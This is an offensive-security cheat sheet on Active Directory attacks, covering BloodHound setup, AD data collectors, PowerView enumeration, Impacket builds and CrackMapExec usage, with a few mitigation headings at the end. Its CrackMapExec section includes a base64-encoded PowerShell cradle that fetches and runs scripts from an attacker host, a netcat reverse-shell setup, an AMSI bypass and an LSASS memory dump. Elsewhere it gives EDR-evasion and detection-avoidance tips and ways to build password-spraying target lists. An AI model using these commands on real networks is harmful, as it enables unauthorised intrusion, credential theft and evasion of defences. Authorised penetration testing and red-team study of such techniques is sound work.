AD
AD Labs
Capsulecorp
Game Of Active Directory
SCCM / MECM
Exchange
Winning GOAD
Bank Security Challenge
The Path to DA
Tools
BloodHound
Setup
Quick start:
curl -sSL https://api.github.com/repos/ly4k/BloodHound/releases/latest | jq -r '.assets[].browser_download_url' | grep 'BloodHound-linux-x64.zip' | wget -O 'BloodHound.zip' -i -
unzip BloodHound.zip && rm BloodHound.zip
mv BloodHound-linux-x64 BloodHound && cd BloodHound
sudo chown root:root chrome-sandbox
sudo chmod 4755 chrome-sandbox
chmod +x BloodHound
sudo mkdir /usr/share/neo4j/logs/
mkdir -p ~/.config/bloodhound
curl -sSL https://github.com/ThePorgs/Exegol-images/raw/main/sources/assets/bloodhound/customqueries.json > /tmp/customqueries1.json
curl -sSL https://github.com/CompassSecurity/BloodHoundQueries/raw/master/BloodHound_Custom_Queries/customqueries.json > /tmp/customqueries2.json
curl -sSL https://github.com/ZephrFish/Bloodhound-CustomQueries/raw/main/customqueries.json > /tmp/customqueries3.json
curl -sSL https://github.com/ly4k/Certipy/raw/main/customqueries.json > /tmp/customqueries4.json
curl -sSL https://github.com/emiliensocchi/azurehound-queries/raw/main/customqueries.json > /tmp/customqueries5.json
python3 - << 'EOT'
import json
from pathlib import Path
merged, dups = {'queries': []}, set()
for jf in sorted((Path('/tmp')).glob('customqueries*.json')):
with open(jf, 'r') as f:
for query in json.load(f)['queries']:
if 'queryList' in query.keys():
qt = tuple(q['query'] for q in query['queryList'])
if qt not in dups:
merged['queries'].append(query)
dups.add(qt)
with open(Path.home() / '.config' / 'bloodhound' / 'customqueries.json', 'w') as f:
json.dump(merged, f, indent=4)
EOT
rm /tmp/customqueries*.json
curl -sSL "https://github.com/ThePorgs/Exegol-images/raw/main/sources/assets/bloodhound/config.json" > ~/.config/bloodhound/config.json
sed -i 's/"password": "exegol4thewin"/"password": "WeaponizeK4li!"/g' ~/.config/bloodhound/config.jsonBoost neo4j performance via memory configuration tweaks (recommended value is 1/4 of total RAM):
# /etc/neo4j/neo4j.conf
dbms.memory.heap.initial_size=4G
dbms.memory.heap.max_size=4GQuick start:
curl -sSL https://ghst.ly/getbhce -o docker-compose.yml
sed -i 's|is the variable available outside of Docker|is the variable available outside of Docker\n - bhe_default_admin_principal_name=${bhe_default_admin_principal_name}\n - bhe_default_admin_password=${bhe_default_admin_password}\n - bhe_default_admin_email_address=${bhe_default_admin_email_address}|g' docker-compose.yml
curl -sSL https://github.com/SpecterOps/BloodHound/raw/refs/heads/main/examples/docker-compose/.env.example -o .env
sed -i 's|#NEO4J_DATA_MOUNT=./neo4j/data|NEO4J_DATA_MOUNT=./neo4j/data|g' .env
sed -i 's|#bhe_default_admin_principal_name=|bhe_default_admin_principal_name=admin|g' .env
sed -i 's|#bhe_default_admin_password=|bhe_default_admin_password=1|g' .env
sed -i 's|#bhe_default_admin_email_address=|[email protected]|g' .env
docker compose pull && docker compose upImport custom queries from legacy BloodHound (can be also done manually):
pipx install -f "git+https://github.com/exploide/bloodhound-cli.git"
bhcli auth 127.0.0.1:8080 -u admin -p 'Passw0rd!123'
bhcli queries ~/.config/bloodhound/customqueries.jsonBloodHound.py BHCE branch:
pipx install -f "git+https://github.com/dirkjanm/BloodHound.py.git@bloodhound-ce"Reset ALL:
docker compose down
docker volume rm `docker volume ls -q | grep -e neo4j-data -e postgres-data`To convert legacy BloodHound dumps to BHCE one can use bloodhound-convert.
Collectors
SharpHound.exe

Cmd > SharpHound.exe [-d megacorp.local] [--LdapUsername snovvcrash] [--LdapPassword 'Passw0rd!'] -c DCOnly/All,GPOLocalGroup [--CollectAllProperties] --OutputDirectory C:\Windows\Temp [--MemCache/--CacheName ccache.bin] --ZipFileName backup.zip [--ZipPassword Passw0rd] [--RandomFilenames] --LdapPort 636 --SecureLdap --DisableCertVerification --SkipPortCheck --SkipPasswordCheck --ExcludeDCs --SkipRegistryLoggedOn [--Throttle 100] [--Jitter 20]
Cmd > SharpHound.exe -c SessionLoop --Loop --LoopInterval 00:01:00 --Loopduration 03:09:41SharpHound.ps1
PS > Invoke-Bloodhound [-Domain megacorp.local] [-LdapUsername snovvcrash] [-LdapPassword 'Passw0rd!'] -CollectionMethod DCOnly/All,GPOLocalGrou [-CollectAllProperties] -OutputDirectory C:\Windows\Temp -NoSaveCache -RandomizeFilenames -ZipFileName backup.zip [-Throttle 100] [-Jitter 20]
PS > Invoke-Bloodhound -CollectionMethod SessionLoop -Loop -LoopInterval 00:01:00 -Loopduration 03:09:41BloodHound.py
$ cd ~/ws/enum/bloodhound/bloodhound.py/
$ bloodhound-python -c All,LoggedOn --zip -u snovvcrash -p 'Passw0rd!' -d megacorp.local -ns 192.168.1.11
$ proxychains4 -q bloodhound-python -c DCOnly --zip -d megacorp.local -k -u snovvcrash --auth-method kerberos -ns 192.168.1.11 -dc DC01.megacorp.local -gc DC01.megacorp.local --disable-autogc --dns-tcp --dns-timeout 10Import with bloodhound-import:
$ bloodhound-import -du neo4j -dp 'Passw0rd!' 20190115133114*.jsonRustHound
$ proxychains4 -q rusthound -d megacorp.local -k --dc-only --adcs [--fqdn-resolver] -z -f DC01.megacorp.local -i 192.168.1.11 -n 192.168.1.11 -P 636 --ldaps --dns-tcp -o bh/ADWS
PS > IEX(New-Object Net.WebClient).DownloadString("https://github.com/Friends-Security/ShadowHound/raw/refs/heads/main/ShadowHound-ADM.ps1")
PS > ShadowHound-ADM -Server DC01.megacorp.local -SplitSearch -LetterSplitSearch -OutputFilePath "C:\ldap_output.txt"
PS > ShadowHound-ADM -Server DC01.megacorp.local -Certificates -OutputFilePath "C:\certs_output.txt"
# cd \ && lcd /tmp && get ldap_output.txt certs_output.txt ...
$ curl -sSL https://github.com/Friends-Security/ShadowHound/raw/refs/heads/main/split_output.py | sed 's/\.txt"/\.log"/g' > /tmp/split_output.py
$ mkdir /tmp/pyldapsearch_logs && cd /tmp/pyldapsearch_logs
$ python3 ../split_output.py -i ../ldap_output.txt -o pyldapsearch_logs -n 100
$ bofhound -i . -p All --parser ldapsearch && rm *.log
$ python3 ../split_output.py -i ../certs_output.txt -o pyldapsearch_logs -n 100
$ bofhound -i . -p All --parser ldapsearch && rm *.log
$ mv *.json ~/projects/megacorp/bh && cd ~/projects/megacorp/bh && rm -rf /tmp/pyldapsearch_logsBOFHound
Install:
$ pipx install -f "git+https://github.com/Tw1sm/pyldapsearch.git" "git+https://github.com/coffeegist/bofhound.git"An example of manual AD CS data collecting:
$ pyldapsearch -k -no-pass megacorp.local/[email protected] -no-smb -dc-ip DC01.megacorp.local -ldaps -base-dn "DC=megacorp,DC=local" '(objectclass=domain)' -attributes '*,ntsecuritydescriptor' -silent
$ pyldapsearch -k -no-pass megacorp.local/[email protected] -no-smb -dc-ip DC01.megacorp.local -ldaps -base-dn "CN=Configuration,DC=megacorp,DC=local" '(objectclass=pKIEnrollmentService)' -attributes '*,ntsecuritydescriptor' -silent
$ pyldapsearch -k -no-pass megacorp.local/[email protected] -no-smb -dc-ip DC01.megacorp.local -ldaps -base-dn "CN=Configuration,DC=megacorp,DC=local" '(objectclass=certificationAuthority)' -attributes '*,ntsecuritydescriptor' -silent
$ pyldapsearch -k -no-pass megacorp.local/[email protected] -no-smb -dc-ip DC01.megacorp.local -ldaps -base-dn "CN=Configuration,DC=megacorp,DC=local" '(objectclass=pKICertificateTemplate)' -attributes '*,ntsecuritydescriptor' -silent
$ pyldapsearch -k -no-pass megacorp.local/[email protected] -no-smb -dc-ip DC01.megacorp.local -ldaps -base-dn "CN=Configuration,DC=megacorp,DC=local" '(objectclass=msPKI-Enterprise-Oid)' -attributes '*,ntsecuritydescriptor' -silentResolve a SID:
$ pyldapsearch -k -no-pass megacorp.local/[email protected] -no-smb -dc-ip DC01.megacorp.local -ldaps '(objectSid=S-1-5-21-2513662962-556311701-4231341873-512)' -attributes '*,ntsecuritydescriptor'Resolve group memebership:
$ pyldapsearch -k -no-pass megacorp.local/[email protected] -no-smb -dc-ip DC01.megacorp.local -ldaps '(memberOf:1.2.840.113556.1.4.1941:=CN=Domain Admins,CN=Users,DC=megacorp,DC=local)' -attributes '*,ntsecuritydescriptor'Parse:
$ bofhound -i ~/.pyldapsearch/logs --parser ldapsearch --zipADExplorerSnapshot.py
You may also want to patch the (objectGUID=*) IoC in ADExplorer64.exe with a HEX editor ;)
Cypher (Neo4j)
Show percentage of collected user sessions:
# http://localhost:7474/browser/
MATCH (u1:User)
WITH COUNT(u1) AS totalUsers
MATCH (c:Computer)-[r:HasSession]->(u2:User)
WITH totalUsers, COUNT(DISTINCT(u2)) AS usersWithSessions
RETURN totalUsers, usersWithSessions, 100 * usersWithSessions / totalUsers AS percetangeShow path to any computer from kerberoastable users:
MATCH (u:User {hasspn:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN pManual JSON Parsing
There're 2 global dicts in JSON files: data and meta. We care about data:
$ cat 19700101000000_users.json | jq '. | keys'
[
"data",
"meta"
]List all active user accounts:
$ cat 19700101000000_users.json | jq '.data[].Properties | select(.enabled == true) | .samaccountname' -rList non-empty user accounts' descriptions:
$ cat 19700101000000_users.json | jq '.data[].Properties | select(.enabled == true and .description != null) | .name + " :: " + .description' -rList user accounts whose passwords were set after their last logon (an effective list for password spraying assuming that the passwords were set by IT Desk and may be guessable):
$ cat 19700101000000_users.json | jq '.data[].Properties | select(.enabled == true and .pwdlastset > .lastlogontimestamp) | .name + " :: " + (.lastlogontimestamp | tostring)' -rList user accounts with DoesNotRequirePreAuth set (aka asreproastable):
$ cat 19700101000000_users.json | jq '.data[].Properties | select(.enabled == true and .dontreqpreauth == true) | .name' -rList user accounts with SPN(s) set (aka kerberoastable)
$ cat 19700101000000_users.json | jq '.data[].Properties | select(.enabled == true and .serviceprincipalnames != []) | .name + " :: " + (.serviceprincipalnames | join(","))' -rList computer accounts' operating system names:
$ cat 19700101000000_computers.json | jq '.data[].Properties | .name + " :: " + .operatingsystem' -rMake a list of all SQL servers (can be extrapolated to any SPN-based service):
$ cat 19700101000000_computers.json | jq '.data[].Properties | select(.enabled == true and .serviceprincipalnames != []) | .serviceprincipalnames' | grep MSSQL | awk -F/ '{print $2}' | awk -F\" '{print $1}' | grep -v :1433 | sort -u > mssql.txtRecursively list all members of a group (mimics RSAT Get-ADGroupMember, script):
$ ls
20220604043009_computers.json 20220604043009_groups.json 20220604043009_users.json
$ python3 get_ad_group_member.py 'DOMAIN [email protected]'Recursively list all groups which the user is a member of (mimics RSAT Get-ADUser | select memberof, script):
$ ls
20220604043009_groups.json 20220604043009_users.json
$ python3 get_ad_user_memberof.py '[email protected]'Generate a .csv file containing AD trusts mapping to be used in TrustVisualizer (mimics PowerView Get-DomainTrustMapping, script):
$ ls
20220604043009_domains.json
$ python3 get_domain_trust_mapping.pyPowerView / SharpView / powerview.py
$ pipx install -f "git+https://github.com/aniqfakhrul/powerview.py.git"
$ pipx inject powerview "git+https://github.com/ThePirateWhoSmellsOfSunflowers/ldap3.git@tls_cb_and_seal_for_ntlm"Example Queries
Users
Convert SID to name and vice versa:
PV3 > ConvertTo-SID <NAME>
PV3 > Convert-NameToSid <NAME>
PV3 > ConvertFrom-SID <SID>
PV3 > Convert-SidToName <SID>Extract all domain user accounts into a .csv file:
PV3 > Get-DomainUser -Domain megacorp.local | select name,samAccountName,description,memberOf,whenCreated,pwdLastSet,lastLogonTimestamp,accountExpires,adminCount,userPrincipalName,servicePrincipalName,mail,userAccountControl | Export-Csv .\all-users.csv -NoTypeInformationList domain user accounts that do not require Kerberos pre-authentication (see ASREPRoasting):
PS > .\SharpView.exe Get-DomainUser -KerberosPreauthNotRequired -Properties samAccountName,userAccountControl,memberOfList domain user accounts with Service Principal Names (SPNs) set (see Kerberoasting):
PS > .\SharpView.exe Get-DomainUser -SPN -Properties samAccountName,memberOf,servicePrincipalNameList domain user accounts with Kerberos unconstrained delegation enabled:
PS > .\SharpView.exe Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"List domain user accounts with Kerberos constrained delegation enabled:
PS > .\SharpView.exe Get-DomainUser -TrustedToAuth -Properties samAccountName,userAccountControl,memberOfSearch for domain user accounts which may have sensitive stored in the description field:
PV3 > Get-DomainUser -Properties samaccountname,description | Where {$_.description -ne $null}Search for domain user by email:
PV3 > Get-DomainUser -LDAPFilter '([email protected])' -Properties samaccountnameFind users with DCSync right:
PV3 > $dcsync = Get-DomainObjectACL "DC=megacorp,DC=local" -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "GenericAll" -or $_.ObjectAceType -match "Replication-Get"} | select -ExpandProperty SecurityIdentifier | select -ExpandProperty value
PV3 > Convert-SidToName $dcsyncGroups
Enumerate domain computers where specific users (Identity) are members of a specific local group (LocalGroup):
PV3 > Get-DomainGPOUserLocalGroupMapping -Identity snovvcrash -LocalGroup AdministratorsComputers
Extract all domain computer accounts into a .csv file:
PV3 > Get-DomainComputer -Properties dnsHostName,operatingSystem,lastLogonTimestamp,userAccountControl | Export-Csv .\all-computers.csv -NoTypeInformationList domain computer accounts that allow Kerberos unconstrained delegation:
PS > .\SharpView.exe Get-DomainComputer -Unconstrained -Properties dnsHostName,userAccountControlResolve all domain computer IPs by their names:
PV3 > Get-DomainComputer -Properties name | Resolve-IPAddressList domain computers that are part of a OU:
PV3 > Get-DomainComputer | ? { $_.DistinguishedName -match "OU=<OU_NAME>" } | select dnsHostNameShares
List shares for WS01 computer:
PS > .\SharpView.exe Get-NetShare -ComputerName WS01GPOs
List all domain users with a 4-digit RID (eliminates default objects like 516, 519, etc.) who can edit GPOs:
PV3 > Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|WriteDacl|WriteOwner" -and $_.SecurityIdentifier -match "<SID>-[\d]{4,10}" } | select objectDN, activeDirectoryRights, securityIdentifier | flResolve GPO ObjectDN:
PV3 > Get-DomainGPO -Name "<DN>" -Properties DisplayNameImpacket
Install:
$ pipx install -f "git+https://github.com/fortra/impacket.git"
$ pipx install -f "git+https://github.com/ThePorgs/impacket.git"
$ pipx install -f "git+https://github.com/p0dalirius/smbclient-ng"Static Binaries
Build Examples
Cmd > python.exe -V
Python 3.11.7
Cmd > python.exe -m pip install nuitka
Cmd > python.exe -m nuitka C:\Repos\impacket\examples\smbclient.py --onefile --onefile-tempdir-spec=C:\Users\user\AppData\Local\Temp\hello --follow-imports --output-filename=hello --jobs=16
Cmd > hello.exe --help$ git clone https://github.com/fortra/impacket /tmp/impacket && cd /tmp/impacket
$ docker run -it -v `pwd`:/app -w /app ubuntu:22.04
# apt update && apt install python3-dev python3-pip patchelf file -y
# pip install . pyinstaller staticx
# pyinstaller --specpath /tmp/spec --workpath /tmp/build --distpath /tmp/out --clean -F examples/smbclient.py [--collect-submodules gssapi.raw]
# staticx /tmp/out/smbclient examples/smbclient.py.elf
# file examples/smbclient.py.elf
examples/smbclient.py.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, with debug_info, not stripped{Crack,Sharp,Ps}MapExec / NetExec

Install bleeding-edge:
$ sudo apt install python3-venv && pip3 install pipx
$ pipx install -f "git+https://github.com/Porchetta-Industries/CrackMapExec.git"
$ cmeaardwolf requires Rust compiler to be also installed:
$ sudo snap install rustup --classic
$ rustup toolchain install stableInstall for debugging and development:
$ git clone --recursive https://github.com/Porchetta-Industries/CrackMapExec ~/tools/CrackMapExec && cd ~/tools/CrackMapExec
$ poetry install
$ poetry run crackmapexecExecute a PowerShell command using base64 encoding on-the-fly:
$ cme smb 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -x "powershell -enc `echo -n 'iex(new-object net.webclient).downloadstring("http://10.10.13.37/amsi.ps1");iex(new-object net.webclient).downloadstring("http://10.10.13.37/cradle.ps1")' | iconv -t UTF-16LE | base64 -w0`"Bypass network IPS restrictions:
$ sudo nmap -n -sn 192.168.1.0/24 | grep for | awk '{print $5}' > 192.168.1
$ for ip in `cat 192.168.1`; do cme smb $ip; sleep 1; done
Or
$ cme -t 1 --jitter 1 smb 192.168.1.0/24Custom Switches
Bypass execution restrictions of EDRs monitoring for WmiPrvSE.exe misbehavior with custom switches (see dotnetassembly branch).
Get the dependencies and stuff:
$ sudo apt install mono-devel
$ git clone --single-branch -b syscalls https://github.com/S4ntiagoP/donut ~/tools/donut && cd ~/tools/donut && make && sudo ln -sv `realpath donut` /usr/local/bin/donut && cd -
$ wget https://github.com/snovvcrash/CrackMapExec/raw/dotnetassembly/cme/data/donut_template.cs -O ~/.cme/donut_template.cs
$ wget https://github.com/snovvcrash/CrackMapExec/raw/dotnetassembly/cme/protocols/smb.py -O ~/.local/pipx/venvs/crackmapexec/lib/python3.10/site-packages/cme/protocols/smb.pyExample of invoking a PowerShell module (ConPtyShell):
$ stty raw -echo; (stty size; cat) | nc -lvnp 1337
$ cme smb 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -x 'Invoke-ConPtyShell.ps1 Invoke-ConPtyShell 10.10.13.37 1337' --amsi-bypass amsi.ps1 --no-outputExample of executing a .NET assembly (Rubeus):
$ cme smb 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -x 'Seatbelt.exe -group=user' --dotnetassembly --dotnetassembly-entrypoint 'Rubeus,Program,MainString' --dotnetassembly-entrypoint-argtype string --amsi-bypass amsi.ps1 --codec cp866Example of converting an unmanaged binary (NanoDump) to a shellcode with donut, then compiling a .NET self-injector from a template with the shellcode inside and executing it (see SharpBin2SelfInject):
$ cme smb 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -x 'nanodump.exe -w C:\Windows\Temp\lsass.bin' --dotnetassembly --donutaiosmb
Install:
$ git clone https://github.com/skelsec/aiosmb ~/tools/aiosmb && cd ~/tools/aiosmb
$ sed -i 's/ = RPC_C_AUTHN_LEVEL_CONNECT/ = RPC_C_AUTHN_LEVEL_PKT_PRIVACY/g' aiosmb/dcerpc/v5/interfaces/tschmgr.py
$ pip3 install . --break-system-packages
$ sed -i '1i #!/usr/bin/env python3\n' aiosmb/examples/smbclient.py
$ chmod +x aiosmb/aiosmb/examples/smbclient.py
$ sudo ln -sv `realpath aiosmb/examples/smbclient.py` "/usr/local/bin/aiosmbclient.py"Usage:
$ aiosmbclient.py -s "smb3+kerberos-ccachehex://megacorp.local\snovvcrash:[email protected]/?dc=192.168.1.11" 'login' 'use C$' 'ls'Slinky Cat & OffensiveSysAdmin
Mitigations
Common vulnerabilities & misconfigurations and recommendations:
SMB lateral-movement hardening:
Antispam protection for Exchange:
Detect stale, unused or fake computer accounts based on password age (replace -90 with your domain's maximum computer account password age):
$date = [DateTime]::Today.AddDays(-90); Get-ADComputer -Filter '(Enabled -eq $true) -and (PasswordLastSet -le $date)' | select NameAdministrative Tier Model & Microsoft RaMP (Zero Trust Rapid Modernization Plan):
Post compromise AD actions (checklist):
Hardening automatization tool:
Last updated